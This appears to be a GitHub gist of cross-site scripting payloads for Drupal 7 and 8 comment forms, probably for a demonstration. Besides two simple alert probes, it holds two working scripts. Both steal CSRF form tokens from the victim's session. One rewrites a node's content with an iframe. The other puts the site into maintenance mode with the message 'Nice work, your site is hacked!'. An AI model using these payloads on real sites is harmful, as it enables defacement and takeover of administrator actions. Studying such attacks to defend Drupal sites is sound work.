Created
November 9, 2018 21:19
-
-
Save tatarbj/88a7c482a3e94f47bd1e116cb803e8f9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#0 d7 site: node/1 comment form with full html input format by uid0. | |
<script>alert('XSS')</script> | |
#1 d7 site: node/2 comment form with full html input format by uid0. | |
<script> | |
jQuery.get(Drupal.settings.basePath + 'node/2/edit', | |
function (data, status) { | |
if (status == 'success') { | |
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/); | |
var token = matches[1]; | |
var matches = data.match(/name="form_build_id" value="(form-[a-zA-Z0-9_-]*)"/); | |
var build_id = matches[1]; | |
var payload = { | |
"title": 'Evil cat', | |
"body[und][0][value]": '<iframe src="https://giphy.com/embed/dG7ZiL6ImLyNO" width="480" height="317" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>', | |
"body[und][0][format]": 'full_html', | |
"status": 1, | |
"form_id": 'article_node_form', | |
"form_token": token, | |
"form_build_id" : build_id, | |
"op" : 'Save' | |
}; | |
jQuery.post(Drupal.settings.basePath + 'node/2/edit', payload); | |
}})(jQuery); | |
</script> | |
#2 d7 site: node/1 comment form again | |
<script> | |
jQuery.get(Drupal.settings.basePath + 'admin/config/development/maintenance', | |
function (data, status) { | |
if (status == 'success') { | |
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/); | |
var token = matches[1]; | |
var matches = data.match(/name="form_build_id" value="(form-[a-zA-Z0-9_-]*)"/); | |
var build_id = matches[1]; | |
var payload = { | |
"maintenance_mode": 1, | |
"form_id": 'system_site_maintenance_mode', | |
"maintenance_mode_message": 'Nice work, your site is hacked!', | |
"form_token": token, | |
"form_build_id" : build_id, | |
"op" : 'Save configuration' | |
}; | |
jQuery.post(Drupal.settings.basePath + 'admin/config/development/maintenance', payload); | |
}})(jQuery); | |
</script> | |
#3 d8 site: node/1 just a simple example | |
<script>alert('XSS')</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment